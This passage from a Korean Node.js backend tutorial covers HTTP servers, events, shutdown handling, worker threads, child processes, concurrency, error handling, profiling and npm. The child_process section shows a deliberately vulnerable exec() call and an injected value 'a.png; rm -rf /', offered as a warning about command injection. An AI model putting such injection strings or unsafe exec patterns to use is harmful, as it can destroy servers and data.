import { StringDecoder } from "node:string_decoder";
Buffer 는 힙 밖(off-heap)에 할당됩니다. 그래서 --max-old-space-size 로 힙을 제한해도 Buffer 를 많이 잡으면 컨테이너 메모리 한도에 먼저 걸립니다. 업로드 파일을 전부 Buffer 로 받는 코드가 대표적인 원인입니다.
스트림 — 통째로 들지 않고 조각으로 흘려보냅니다 읽기 스트림 파일에서 64KB 씩 변환 스트림 gzip · 암호화 · 파싱 쓰기 스트림 응답 · 다른 파일 백프레셔 — 받는 쪽이 느리면 보내는 쪽이 스스로 멈춥니다 write() 가 false → 읽기 pause → drain 신호 → 다시 resume readFileSync 로 2GB 메모리 2GB · 그동안 서버 정지 스트림으로 2GB 메모리 수십 KB · 다른 요청도 계속 직접 pipe() 를 엮지 말고 stream/promises 의 pipeline() 을 쓰세요 — 오류가 나도 전부 닫아 줍니다 백프레셔를 무시하면 메모리에 조용히 쌓입니다 — 부하 테스트에서만 드러납니다
스트림의 핵심은 조각내기가 아니라 느린 쪽에 속도를 맞추는 장치입니다.
NODE 06

HTTP 서버 직접 만들기

Express 가 무엇을 대신해 주는지 알면 프레임워크를 훨씬 잘 쓰게 됩니다.

프레임워크 없이

import { createServer } from "node:http";

const server = createServer(async (req, res) => {
  // 라우팅을 직접 해야 합니다
  const url = new URL(req.url, `http://${req.headers.host}`);

  if (req.method === "GET" && url.pathname === "/health") {
    res.writeHead(200, { "Content-Type": "application/json" });
    return res.end(JSON.stringify({ ok: true }));
  }

  if (req.method === "POST" && url.pathname === "/api/users") {
    // ★ 본문도 직접 모아야 합니다 (스트림으로 옵니다)
    const chunks = [];
    for await (const c of req) chunks.push(c);
    const body = JSON.parse(Buffer.concat(chunks).toString());
    res.writeHead(201, { "Content-Type": "application/json" });
    return res.end(JSON.stringify({ id: 1, ...body }));
  }

  res.writeHead(404).end("Not Found");
});

server.listen(3000, () => console.log("http://localhost:3000"));
Express 가 대신해 주는 것 — 라우팅 매칭, 본문 파싱, 쿼리 파싱, 정적 파일, 미들웨어 체인, 에러 처리, 콘텐츠 협상. 이 목록을 알면 “이건 프레임워크 기능인가 Node 기능인가” 를 구분할 수 있습니다.

운영에서 반드시 챙길 것

// ① 타임아웃 (기본값이 관대합니다)
server.requestTimeout = 30_000;      // 요청 하나의 최대 시간
server.headersTimeout = 10_000;      // 헤더 수신 대기
server.keepAliveTimeout = 65_000;    // ★ 로드밸런서보다 길게!

// ② 우아한 종료 — 무중단 배포의 핵심
process.on("SIGTERM", async () => {
  console.log("종료 신호 수신");
  server.close(async () => {          // 새 연결 차단, 진행 중인 요청은 완료
    await db.end();
    await redis.quit();
    process.exit(0);
  });
  setTimeout(() => process.exit(1), 30_000).unref();   // 강제 종료 안전장치
});

// ③ 요청 본문 크기 제한 (안 하면 메모리 공격에 노출)
let size = 0;
for await (const c of req) {
  size += c.length;
  if (size > 1_000_000) { res.writeHead(413).end(); return; }
}
keepAliveTimeout 이 로드밸런서보다 짧으면 간헐적으로 502 에러가 발생합니다. LB 가 재사용하려던 연결을 Node 가 먼저 끊어서 생기는 현상입니다. AWS ALB 기본값이 60초이므로 Node 는 65초 이상으로 두세요. (🚀 대규모 트래픽 k14 에서 무중단 배포 전체를 다룹니다)

HTTP 클라이언트 — 내장 fetch

// Node 18+ 는 fetch 가 내장입니다 (axios 없이도 충분)
const res = await fetch("https://api.example.com/data", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ q: 1 }),
  signal: AbortSignal.timeout(3000),        // ★ 타임아웃 필수
});
if (!res.ok) throw new Error(`HTTP ${res.status}`);
const data = await res.json();

// 커넥션 재사용 (성능 차이가 큽니다)
import { Agent, setGlobalDispatcher } from "undici";
setGlobalDispatcher(new Agent({ keepAliveTimeout: 60_000, connections: 100 }));
req 는 읽는 스트림, res 는 쓰는 스트림입니다 브라우저 POST /upload req — 'data' · 'end' 이벤트로 조각 수신 res — writeHead → write → end 본문은 한 번에 오지 않습니다 조각을 모아야 JSON.parse 가 됩니다 이것을 대신해 주는 것이 body parser 입니다 스트림이라 좋은 점 1GB 파일도 메모리에 통째로 올리지 않고 흘려보낼 수 있습니다 req.pipe(파일쓰기) 한 줄이면 업로드가 끝납니다 직접 다룰 때 자주 빠뜨리는 것 헤더는 본문보다 먼저 보내야 합니다 — 순서를 바꾸면 에러 end() 를 안 부르면 브라우저가 계속 기다립니다 프레임워크를 쓰더라도 이 구조를 알면 — 업로드가 느린 이유 · 큰 응답에서 메모리가 튀는 이유가 설명됩니다 라우팅·파싱·에러 처리를 직접 짜면 금방 커집니다. 그래서 Express 를 쓰지만, 아래에 있는 것은 늘 이 두 스트림입니다
Express 의 req·res 도 여기에 편의 기능을 얹은 같은 객체입니다.
NODE 07

이벤트 이미터

Node 내부가 전부 이 구조입니다. 서버·스트림·소켓 모두 EventEmitter 입니다.

기본 사용

import { EventEmitter, once, on } from "node:events";

class OrderService extends EventEmitter {
  async create(dto) {
    const order = await this.repo.save(dto);
    this.emit("created", order);        // ★ 알림만 하고 신경 안 씀
    return order;
  }
}

const svc = new OrderService();
svc.on("created", (o) => sendMail(o));       // 여러 개 등록 가능
svc.on("created", (o) => updateStats(o));
svc.once("ready", () => init());              // 한 번만

// Promise 로 기다리기
const [order] = await once(svc, "created");

// 비동기 이터레이터로 받기
for await (const [order] of on(svc, "created")) { ... }

// 정리
svc.off("created", handler);
svc.removeAllListeners("created");
리스너 누수 경고를 무시하지 마세요. MaxListenersExceededWarning: 11 listeners added 는 리스너를 등록만 하고 해제하지 않는다는 신호입니다. setMaxListeners 로 숫자를 올리는 것은 해결이 아니라 은폐입니다. (🧬 전문가 d04 메모리 누수)

실무에서 주의할 점

// ① 비동기 리스너의 에러는 잡히지 않습니다
svc.on("created", async (o) => {
  await sendMail(o);            // ❌ 실패하면 unhandledRejection
});

// ✅ 반드시 감싸세요
svc.on("created", (o) => {
  sendMail(o).catch(err => logger.error({ err }, "메일 발송 실패"));
});

// ② "error" 이벤트는 특별합니다 — 리스너가 없으면 프로세스가 죽습니다
emitter.emit("error", new Error("펑"));   // 리스너 없으면 crash
emitter.on("error", (e) => logger.error(e));   // ★ 반드시 등록

// ③ emit 은 동기입니다
emitter.emit("x");            // 모든 리스너가 "즉시" 순서대로 실행됨
console.log("이 줄은 리스너들이 다 끝난 뒤에 실행됩니다");

언제 쓰고 언제 쓰지 말까

좋은 사용
  • 진행률 알림 (업로드·배치)
  • 플러그인·훅 구조
  • 내부 모듈 간 느슨한 결합
  • 스트림·소켓 이벤트 처리
나쁜 사용
  • 서비스 간 비동기 작업 큐 대용 → 프로세스가 죽으면 사라집니다
  • 순서·재시도가 필요한 처리
  • 여러 서버에 전파해야 하는 이벤트
“메일 발송을 이벤트로 처리”는 위험합니다. 서버가 재시작되면 흔적도 없이 사라집니다. 재시도·영속성이 필요하면 큐를 쓰세요 (🚀 대규모 트래픽 k07 · BullMQ).
NODE 08

프로세스 · 환경 변수

설정과 종료 처리. 운영에서 사고가 나는 자리입니다.

환경 변수 다루기

process.env.NODE_ENV;          // 항상 string | undefined
process.argv.slice(2);         // CLI 인자
process.cwd();                 // 실행 위치 (파일 위치와 다릅니다!)
process.pid; process.uptime(); process.memoryUsage();

// Node 20+ 는 .env 를 내장으로 읽습니다 (dotenv 불필요)
// node --env-file=.env app.js
// ★ 시작할 때 한 번 검증하세요 — 실무 필수 패턴
import { z } from "zod";

const EnvSchema = z.object({
  NODE_ENV: z.enum(["development", "production", "test"]),
  PORT: z.coerce.number().default(3000),        // 문자열 → 숫자 변환
  DATABASE_URL: z.url(),
  JWT_SECRET: z.string().min(32),
  REDIS_URL: z.url().optional(),
});

export const env = EnvSchema.parse(process.env);
// ★ 값이 없거나 형식이 틀리면 "부팅 시점에" 죽습니다.
//   운영 중에 undefined 로 터지는 것보다 백 배 낫습니다.

env.PORT;        // number 로 타입까지 확정됨
비밀 값을 코드·이미지에 넣지 마세요. .env 는 반드시 .gitignore 에, 운영 값은 Secret Manager·K8s Secret·환경 변수로 주입합니다. 커밋된 적이 있다면 키를 폐기하고 새로 발급하세요 — 히스토리에 영원히 남습니다.

시그널과 우아한 종료

// 컨테이너는 종료할 때 SIGTERM 을 보냅니다
async function shutdown(signal) {
  logger.info({ signal }, "종료 시작");

  server.close();                    // ① 새 요청 안 받기
  await new Promise(r => setTimeout(r, 5000));   // ② LB 가 알아챌 시간
  await queue.close();               // ③ 작업 큐 정리
  await db.end();                    // ④ DB 커넥션 반납
  await redis.quit();

  logger.info("정상 종료");
  process.exit(0);
}

process.on("SIGTERM", () => shutdown("SIGTERM"));   // 컨테이너·PM2
process.on("SIGINT",  () => shutdown("SIGINT"));    // Ctrl+C

// 안전장치 — 30초 안에 못 끝내면 강제 종료
process.on("SIGTERM", () => {
  setTimeout(() => { logger.fatal("강제 종료"); process.exit(1); },
             30_000).unref();
});
도커에서 SIGTERM 이 안 오는 흔한 실수 — CMD npm start 로 실행하면 npm 이 PID 1 이 되어 시그널이 Node 까지 전달되지 않습니다. CMD ["node", "dist/index.js"] 형태로 직접 실행하세요. (🧰 도구 o12 · 🚀 대규모 k14)

종료 코드

0    정상
1    일반 오류
137  SIGKILL — ★ 컨테이너 메모리 초과(OOMKilled)일 가능성이 높음
143  SIGTERM — 정상적인 종료 요청

"이유 없이 재시작된다" 면 종료 코드부터 확인하세요.
137 이면 애플리케이션 로그에는 아무것도 안 남습니다.
NODE 09

worker_threads · 클러스터

싱글 스레드의 한계를 넘는 두 가지 방법. 목적이 완전히 다릅니다.

무엇을 언제 쓰나

도구목적
worker_threadsCPU 작업을 메인 스레드에서 빼내기. 메모리 공유 가능
cluster같은 서버를 CPU 개수만큼 띄워 처리량 늘리기
child_process다른 프로그램 실행 (n10)
K8s 레플리카클러스터의 상위 대안 — 요즘은 이쪽이 더 흔합니다

워커 스레드 — CPU 작업 분리

// heavy-worker.js
import { parentPort, workerData } from "node:worker_threads";

function heavyCalc(data) { /* 오래 걸리는 계산 */ return result; }

parentPort.postMessage(heavyCalc(workerData));
// main.js — Promise 로 감싸 쓰기
import { Worker } from "node:worker_threads";

function runWorker(data) {
  return new Promise((resolve, reject) => {
    const w = new Worker("./heavy-worker.js", { workerData: data });
    w.on("message", resolve);
    w.on("error", reject);
    w.on("exit", (code) => {
      if (code !== 0) reject(new Error(`워커 종료 코드 ${code}`));
    });
  });
}

app.post("/report", async (req, res) => {
  const result = await runWorker(req.body);   // ★ 메인 스레드는 계속 다른 요청 처리
  res.json(result);
});
워커 생성 비용이 큽니다(수십 ms + 메모리). 요청마다 만들면 오히려 느려집니다. 실무에서는 워커 풀을 쓰세요 — piscina 라이브러리가 사실상 표준입니다.

워커 풀 — 실무 형태

import Piscina from "piscina";

const pool = new Piscina({
  filename: new URL("./worker.js", import.meta.url).href,
  maxThreads: 4,               // ★ CPU 코어 수 이하로
  idleTimeout: 30_000,
});

const result = await pool.run({ imagePath });   // 알아서 풀에서 배정

클러스터 — 코어를 다 쓰기

import cluster from "node:cluster";
import { availableParallelism } from "node:os";

if (cluster.isPrimary) {
  const n = availableParallelism();
  for (let i = 0; i < n; i++) cluster.fork();

  cluster.on("exit", (worker, code) => {
    logger.warn({ pid: worker.process.pid, code }, "워커 종료 — 재시작");
    cluster.fork();                        // ★ 죽으면 다시 띄우기
  });
} else {
  startServer();                           // 워커들이 같은 포트를 공유합니다
}
요즘은 클러스터 대신 컨테이너를 여러 개 띄웁니다. K8s 나 ECS 를 쓴다면 파드 수를 늘리는 것이 관리·모니터링 면에서 유리합니다. (프로세스가 죽어도 오케스트레이터가 알아서 살립니다) 단일 VM 에 배포한다면 PM2 클러스터 모드가 가장 간편합니다.
# PM2 — 코드 수정 없이 클러스터 + 무중단 재시작
pm2 start dist/index.js -i max        # 코어 수만큼
pm2 reload app                        # ★ 무중단 재시작
pm2 monit
클러스터를 쓰면 “메모리에 저장하는 모든 것”이 깨집니다. 세션·캐시·카운터·setInterval 스케줄러가 프로세스마다 따로 존재하게 됩니다. 상태는 Redis 같은 외부 저장소로 옮기세요(🚀 대규모 k11).
둘은 푸는 문제가 다릅니다 — 계산이 막히나, 요청이 많나 worker_threads 한 프로세스 · 스레드 여러 개 메인 스레드 워커 (계산) 이미지 변환 · 압축 · 암호 계산을 떼어 냅니다 메모리를 공유할 수 있습니다 (SharedArrayBuffer) 쓸 때 — 이벤트 루프가 막힐 때 cluster 같은 서버를 코어 수만큼 복제 프로세스 1 프로세스 2 프로세스 3 한 포트를 나눠 듣고 OS 가 요청을 배분합니다 메모리는 완전히 따로 — 전역 변수 공유 불가 쓸 때 — 코어를 다 못 쓰고 있을 때 둘 다 메모리 캐시를 깨뜨립니다 — 프로세스별로 값이 달라집니다 요즘은 cluster 대신 컨테이너를 여러 개 띄웁니다 — 배포·재시작을 오케스트레이터가 맡습니다
고르는 기준은 하나입니다 — 막히는 것이 CPU 인가, 부족한 것이 처리량인가.
NODE 10

child_process — 다른 프로그램 실행

ffmpeg · 파이썬 스크립트 · 셸 명령을 Node 에서 호출합니다.

네 가지 방법

함수특징
spawn스트림으로 주고받음. 출력이 크면 이것
execFile결과를 한 번에. 셸을 안 거쳐 안전 ★
exec셸을 거침 — 명령어 주입 위험
forkNode 스크립트 전용 (IPC 채널 포함)
import { execFile, spawn } from "node:child_process";
import { promisify } from "node:util";
const execFileAsync = promisify(execFile);

// ✅ 안전 — 인자를 배열로 넘기면 셸 해석이 없습니다
const { stdout } = await execFileAsync("git", ["log", "-1", "--format=%H"]);

// ❌ 위험 — 사용자 입력이 그대로 셸 명령이 됩니다
exec(`convert ${userInput} out.png`);
// userInput 이 "a.png; rm -rf /" 라면?
명령어 주입(Command Injection)은 실제로 서버를 잃는 취약점입니다. exec 에 사용자 입력이 들어가는 코드는 절대 만들지 마세요. 반드시 execFile·spawn 에 인자 배열로 넘기고, 파일명은 화이트리스트로 검증하세요.

스트림으로 다루기

// ffmpeg 로 동영상 변환하며 진행률 받기
const ff = spawn("ffmpeg", [
  "-i", input, "-vf", "scale=640:-1", "-y", output,
]);

ff.stderr.on("data", (chunk) => {       // ffmpeg 는 stderr 로 진행률을 냅니다
  const m = String(chunk).match(/time=(\S+)/);
  if (m) sendProgress(m[1]);
});

await new Promise((resolve, reject) => {
  ff.on("close", (code) =>
    code === 0 ? resolve() : reject(new Error(`ffmpeg 실패 ${code}`)));
  ff.on("error", reject);               // ★ 실행 파일 자체가 없을 때
});
// 파이썬 스크립트에 데이터 넘기고 결과 받기
const py = spawn("python3", ["analyze.py"]);
py.stdin.write(JSON.stringify(data));
py.stdin.end();

let out = "";
for await (const c of py.stdout) out += c;
const result = JSON.parse(out);
운영 시 챙길 것 — ① 타임아웃({ timeout: 30_000 })을 반드시 주세요, ② maxBuffer 기본값(1MB)을 넘으면 에러가 납니다, ③ 프로세스가 좀비로 남지 않게 종료 처리(kill)를 하세요, ④ 컨테이너 이미지에 해당 실행 파일이 들어 있는지 확인하세요 — 로컬만 되는 흔한 실수입니다.
NODE 11

비동기 동시 실행 제어

Promise.all 에 1,000개를 넣는 순간 상대 서버가 죽습니다.

문제 상황

// ❌ 10,000개 요청을 동시에 발사
await Promise.all(users.map(u => sendEmail(u)));

// 무슨 일이 일어나나
//   · 소켓 10,000개 동시 오픈 → EMFILE (파일 디스크립터 고갈)
//   · 메일 서버가 429/503 으로 차단
//   · 메모리에 10,000개의 Promise + 응답 버퍼
//   · DB 라면 커넥션 풀이 즉시 고갈
// ★ "동시에 몇 개까지" 를 반드시 정해야 합니다

직접 구현 — 개념 이해용

async function mapLimit(items, limit, fn) {
  const results = new Array(items.length);
  let index = 0;

  async function worker() {
    while (index < items.length) {
      const i = index++;                    // ★ 원자적으로 하나씩 가져감
      results[i] = await fn(items[i], i);
    }
  }

  await Promise.all(
    Array.from({ length: Math.min(limit, items.length) }, worker));
  return results;
}

await mapLimit(users, 10, sendEmail);       // 동시에 10개씩

실무 — 라이브러리를 쓰세요

import pLimit from "p-limit";
import pRetry from "p-retry";

const limit = pLimit(10);                   // 동시 10개

const results = await Promise.all(
  users.map(u => limit(() => sendEmail(u)))
);

// 재시도까지 조합 (지수 백오프 + 지터 내장)
await pLimit(5)(() =>
  pRetry(() => callFlakyApi(id), {
    retries: 3,
    minTimeout: 200,
    onFailedAttempt: (e) => logger.warn({ attempt: e.attemptNumber }),
  }));
// ★ 배치로 나눠 처리 (DB 대량 작업의 정석)
const chunk = (arr, n) =>
  Array.from({ length: Math.ceil(arr.length / n) },
             (_, i) => arr.slice(i * n, i * n + n));

for (const batch of chunk(rows, 1000)) {
  await db.insertMany(batch);               // 1,000건씩 커밋
  await new Promise(r => setImmediate(r));  // 이벤트 루프에 양보
}
동시 실행 수를 정하는 기준
· DB — 커넥션 풀 크기보다 작게
· 외부 API — 상대의 rate limit 문서를 보고
· 파일 I/O — libuv 스레드 풀(기본 4) 근처
· 모르겠으면 5~10 에서 시작해 측정하며 올리세요
for...of + await 는 완전 순차입니다. 1,000건 × 100ms = 100초가 걸립니다. “안전하다”는 이유로 무조건 순차로 도는 코드가 실무에 정말 많습니다. 제한된 병렬이 거의 항상 정답입니다.
1000건을 어떻게 보낼 것인가 — 동시 개수가 전부입니다 Promise.all(전부 던지기) 동시 1000 — 커넥션 폭발 · 메모리 급증 · 상대 서버가 429 로 막습니다 빠른 것 같지만 대부분 실패하고 재시도로 더 느려집니다 for (const x of list) await work(x) 동시 1 — 안전하지만 1건 200ms 면 1000건에 200초입니다 대기 시간이 대부분인 작업에서 CPU 도 회선도 놀고 있습니다 동시 10개를 계속 유지 (p-limit · 직접 만든 큐) 하나 끝나면 하나 투입 — 창구 10개가 쉬지 않는 모양입니다 약 20초 · 상대 서버도 견딥니다 — 실무 기본값 적정 개수는 감이 아니라 측정입니다 — 늘리면서 오류율과 지연이 꺾이는 지점을 찾으세요
동시성 조절은 성능 튜닝이 아니라 상대를 무너뜨리지 않기 위한 예의에 가깝습니다.
NODE 12

에러 · 크래시 대응

Node 서버는 에러 하나로 프로세스 전체가 죽습니다. 대비가 필요합니다.

프로세스를 죽이는 것들

// ① 처리되지 않은 예외
setTimeout(() => { throw new Error("펑"); }, 0);

// ② 처리되지 않은 Promise 거부 (Node 15+ 부터 기본이 crash)
async function f() { throw new Error("펑"); }
f();                       // await 도 catch 도 없음 → 프로세스 종료

// ③ EventEmitter 의 error 이벤트에 리스너 없음
socket.emit("error", err);

// ④ 메모리 초과 (OOM)
// ⑤ 스택 오버플로 (무한 재귀)
// 최상위 안전망 — 로그를 남기고 "깨끗하게" 종료
process.on("uncaughtException", (err, origin) => {
  logger.fatal({ err, origin }, "처리되지 않은 예외");
  // 여기서 계속 돌리면 안 됩니다 — 상태를 신뢰할 수 없습니다
  gracefulExit(1);
});

process.on("unhandledRejection", (reason) => {
  logger.fatal({ reason }, "처리되지 않은 Promise 거부");
  gracefulExit(1);
});

function gracefulExit(code) {
  server.close(() => process.exit(code));
  setTimeout(() => process.exit(code), 5000).unref();
}
“죽지 않게 막는 것”이 목표가 아닙니다. 목표는 ① 원인을 로그로 남기고 ② 빠르게 재시작하는 것입니다. 예외가 새어 나온 프로세스는 메모리·커넥션 상태를 신뢰할 수 없습니다. PM2·K8s 가 즉시 다시 띄워 줍니다.

운영 에러 vs 프로그래머 에러

구분대응
운영 에러
(네트워크 끊김, 404, 검증 실패)
예상 가능 — 잡아서 처리하고 계속 돌립니다
프로그래머 에러
(undefined 참조, 타입 오류)
버그 — 잡지 말고 죽이세요. 숨기면 더 이상한 상태가 됩니다
// 에러 클래스로 구분 (🟨 JS j08 · 🚂 Express x06)
class AppError extends Error {
  constructor(msg, { status = 500, code, retryable = false } = {}) {
    super(msg);
    this.name = this.constructor.name;
    this.status = status; this.code = code;
    this.isOperational = true;              // ★ 이 플래그로 구분
    this.retryable = retryable;
  }
}

// 핸들러에서
if (err.isOperational) {
  res.status(err.status).json({ code: err.code, message: err.message });
} else {
  logger.error({ err }, "예상치 못한 오류");
  res.status(500).json({ message: "서버 오류" });   // ★ 내부 정보 노출 금지
}

스택 트레이스 제대로 보기

# async 스택이 잘려 보일 때
node --stack-trace-limit=50 app.js

# TypeScript 빌드 결과의 스택을 원본으로
npm i source-map-support
node -r source-map-support/register dist/index.js
# 또는 tsconfig 에 "sourceMap": true 후 --enable-source-maps 플래그
node --enable-source-maps dist/index.js
에러에 문맥을 담으세요. throw new Error("실패") 는 아무 도움이 안 됩니다. 어떤 사용자·어떤 주문·어떤 요청 ID 인지를 함께 남겨야 운영에서 재현할 수 있습니다(n16 구조화 로깅).
죽는 경로는 둘 — 되살리지 말고 다시 띄우세요 uncaughtException try 로 감싸지 않은 동기 오류 unhandledRejection catch 없는 Promise 실패 프로세스 종료 Node 18+ 는 둘 다 종료 관리자가 재시작 PM2 · systemd · K8s 하면 안 되는 것 핸들러에서 오류만 삼키고 계속 돌리기 그 시점의 상태가 이미 깨져 있을 수 있어, 이후 요청이 조용히 잘못된 결과를 냅니다 권장 순서 ① 로그를 남기고 ② 새 요청 받기를 멈추고 ③ 진행 중 요청을 끝낸 뒤 ④ process.exit(1) SIGTERM 도 같은 절차로 — 무중단 배포의 전제입니다
Node 의 복구 전략은 "빨리 죽고 빨리 다시 뜨기"입니다.
NODE 13

성능 · 메모리

느려지거나 메모리가 늘 때 어디를 보는지 정리합니다.

메모리 구조와 한도

process.memoryUsage();
// {
//   rss:        상주 메모리 전체 (컨테이너가 보는 값)
//   heapTotal:  V8 이 확보한 힙
//   heapUsed:   실제 사용 중인 힙  ★ 이게 계속 늘면 누수
//   external:   Buffer 등 힙 밖 (C++ 객체)
//   arrayBuffers: ArrayBuffer
// }
# 힙 한도 설정 — 컨테이너 메모리의 70~75% 정도로
node --max-old-space-size=1536 app.js        # 2GB 컨테이너 기준

# 안 정해도 Node 20+ 는 cgroup 한도를 읽어 기본 힙을 잡아 줍니다.
# 그래도 못 박아 두는 편이 사고를 줄입니다 (아래 설명)
힙 한도는 자동 산정되지만, 명시하는 편이 안전합니다. Node 20+ 는 cgroup 의 memory.max 를 읽어 V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다. 그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로 직접 지정하는 이유는 — ① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고, ② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며, ③ 값을 못 박아야 OOMKilled(exit 137) 대신 V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다.

메모리 누수의 흔한 원인

  • 무한히 커지는 Map/배열 — 캐시에 TTL·최대 크기가 없음
  • 해제 안 된 이벤트 리스너 — 요청마다 등록만 함
  • 정리 안 된 타이머 — setInterval 을 clearInterval 안 함
  • 클로저가 큰 객체를 붙잡음 — 응답 전체를 캡처한 콜백
  • 전역 변수 누적 — 요청 정보를 모듈 스코프에 저장

측정 도구

# ① 힙 스냅샷 — 무엇이 메모리를 잡고 있나
node --inspect app.js
# Chrome 에서 chrome://inspect → Memory → Heap snapshot
# ★ 부하 전/후 두 장을 찍어 "Comparison" 으로 비교하는 것이 핵심

# 코드에서 직접 찍기
import { writeHeapSnapshot } from "node:v8";
writeHeapSnapshot("/tmp/heap.heapsnapshot");

# ② CPU 프로파일 — 어디서 시간을 쓰나
node --cpu-prof --cpu-prof-dir=./prof app.js
# .cpuprofile 파일을 Chrome DevTools 에 드래그

# ③ 간단한 벤치마크
import { performance } from "node:perf_hooks";
const t = performance.now();
doWork();
console.log(performance.now() - t, "ms");

# ④ 부하 테스트 (🚀 대규모 k13)
npx autocannon -c 100 -d 30 http://localhost:3000/api

성능 개선 순서

1) 측정한다                    ← 이걸 건너뛰면 대부분 헛수고
2) DB 쿼리를 본다              ← 90%가 여기 (인덱스·N+1)
3) 불필요한 await 를 병렬로     ← Promise.all
4) 이벤트 루프 지연을 확인      ← 동기 코드가 막고 있는지 (n03)
5) 캐시를 넣는다                ← Redis (🚀 k03)
6) CPU 작업을 워커로            ← n09
7) 그래도 부족하면 수평 확장     ← 🚀 k11
“Node 가 느리다”는 진단은 거의 항상 틀립니다. 실제 원인은 인덱스 없는 쿼리이거나 순차로 도는 API 호출인 경우가 압도적입니다. 측정 없이 --max-old-space-size 부터 올리지 마세요.
NODE 14

내장 기능 — 라이브러리 없이

최근 Node 는 테스트·fetch·watch·.env 를 전부 내장했습니다.

내장 테스트 러너 Node 20+

// test/user.test.js
import { test, describe, before, mock } from "node:test";
import assert from "node:assert/strict";

describe("UserService", () => {
  before(async () => { await db.migrate(); });

  test("이메일이 중복이면 실패한다", async () => {
    await createUser({ email: "a@b.c" });
    await assert.rejects(
      () => createUser({ email: "a@b.c" }),
      /중복/,
    );
  });

  test("모킹", () => {
    const fn = mock.fn(() => 42);
    assert.equal(fn(), 42);
    assert.equal(fn.mock.callCount(), 1);
  });
});
node --test                       # test/ 아래 전부 실행
node --test --watch                # 저장하면 재실행
node --test --experimental-test-coverage   # 커버리지
내장 테스트 러너로 충분한 경우 — 라이브러리·CLI·간단한 서버. Vitest 가 나은 경우 — TS 를 트랜스파일 없이 돌리고 싶을 때, 프런트엔드와 설정을 공유할 때, 스냅샷·UI 가 필요할 때(🧰 도구 o05).

그 밖의 내장 기능

# 파일 감시 재시작 (nodemon 불필요)
node --watch src/index.js
node --watch-path=./src --watch-path=./config app.js

# .env 읽기 (dotenv 불필요)  Node 20.6+
node --env-file=.env --env-file=.env.local app.js

# TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node src/index.ts
#  · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
#  · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
#    → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다

# 단일 실행 파일로 패키징 (Node 20+, 실험적)
node --experimental-sea-config sea-config.json

Node 26 에서 새로 생긴 것

# package.json 의 scripts 를 npm 없이 바로 실행 — 훨씬 빠릅니다
#   (이건 Node 22 부터 정식 기능입니다. 24 에서도 그대로 됩니다)
node --run build
node --run test -- --grep user

# 테스트 러너 보강
node --test --test-random-order      # 순서 의존 테스트를 찾아냅니다
node --test --test-name-tag=slow     # 태그로 골라 실행
// SQLite 가 런타임에 들어 있습니다 (better-sqlite3 불필요)
//   22.13 · 23.4 부터 --experimental-sqlite 플래그가 필요 없고,
//   25.7 부터 "릴리스 후보" 단계입니다
import { DatabaseSync } from "node:sqlite";
const db = new DatabaseSync("app.db");
db.exec(`CREATE TABLE IF NOT EXISTS todo (id INTEGER PRIMARY KEY, t TEXT)`);
db.prepare("INSERT INTO todo (t) VALUES (?)").run("장보기");
console.log(db.prepare("SELECT * FROM todo").all());

// 새 표준 내장 (Node 26)
const cache = new Map();
cache.getOrInsertComputed("user:1", (k) => loadUser(k));  // 없으면 만들어 넣고 반환
for (const x of Iterator.concat([1, 2].values(), [3].values())) { /* 1,2,3 */ }

// Temporal 이 전역으로 들어왔습니다 (j-탭 날짜 절 참고)
Temporal.Now.instant().toString();   // 2026-08-04T05:00:00Z
// fetch · FormData · WebSocket 전부 내장 (Node 18+ / 22+)
const res = await fetch(url);
const ws = new WebSocket("wss://...");     // Node 22+

// 구조화 복제 · UUID · 타이머 Promise 버전
structuredClone(obj);
crypto.randomUUID();
import { setTimeout as sleep } from "node:timers/promises";
await sleep(1000);                          // ★ 깔끔한 지연

// 유용한 내장 유틸
import { parseArgs } from "node:util";      // CLI 인자 파싱 (Node 18.3+)
const { values } = parseArgs({
  options: { port: { type: "string", short: "p" } },
});
내장 기능은 버전 요구사항을 확인하세요. package.json 의 engines 에 최소 버전을 명시하고, CI 와 운영 이미지의 Node 버전을 같게 맞추세요. “로컬에서는 되는데 서버에서 안 된다”의 흔한 원인입니다.
NODE 15

패키지 · npm 스크립트

의존성 관리에서 사고가 나면 팀 전체가 멈춥니다.

install vs ci

npm install          # lock 파일을 "고칠 수 있음" — 개발용
npm ci               # ★ lock 그대로 설치, node_modules 삭제 후 재설치
                     #   CI·Docker 는 반드시 이것 (재현성 + 속도)

npm install --save-exact pkg    # 정확한 버전으로 고정
npm outdated                    # 오래된 패키지 확인
npm update                      # semver 범위 안에서 갱신
npm audit                       # ★ 알려진 취약점 검사
npm audit fix                   # 자동 수정 (major 변경은 안 함)
npm ls pkg                      # 이 패키지가 왜 설치됐는지 추적

버전 표기 읽기

"express": "^5.2.1"     ^ = 마이너·패치 허용  5.x.x  ★ 기본값
"express": "~5.2.1"     ~ = 패치만 허용       5.2.x
"express": "5.2.1"      정확히 이 버전
"express": "*"          아무거나 — ❌ 절대 금지

★ lock 파일이 있으면 실제 설치 버전은 lock 이 결정합니다.
  그래서 lock 파일 커밋이 필수입니다.
dependencies vs devDependencies 를 정확히 나누세요. 타입 정의(@types/*)·테스트·린트는 dev 입니다. 운영 이미지에서 npm ci --omit=dev 로 설치하면 이미지 크기가 절반 이하가 됩니다(🧰 도구 o12).

실무 npm 스크립트

{
  "scripts": {
    "dev": "node --watch --env-file=.env src/index.js",
    "build": "tsc -p tsconfig.build.json",
    "start": "node dist/index.js",

    "test": "node --test",
    "test:watch": "node --test --watch",

    "lint": "eslint . --max-warnings 0",
    "format": "prettier --write .",
    "typecheck": "tsc --noEmit",

    "check": "npm run typecheck && npm run lint && npm test",
    "prepare": "husky"
  }
}
# 스크립트에 인자 넘기기
npm run test -- --grep "user"

# 라이프사이클 훅 (자동 실행)
preinstall / postinstall / prepare / prepublishOnly

# ⚠️ postinstall 은 보안 위험입니다 — 악성 패키지의 주요 통로
npm ci --ignore-scripts        # 필요하면 차단
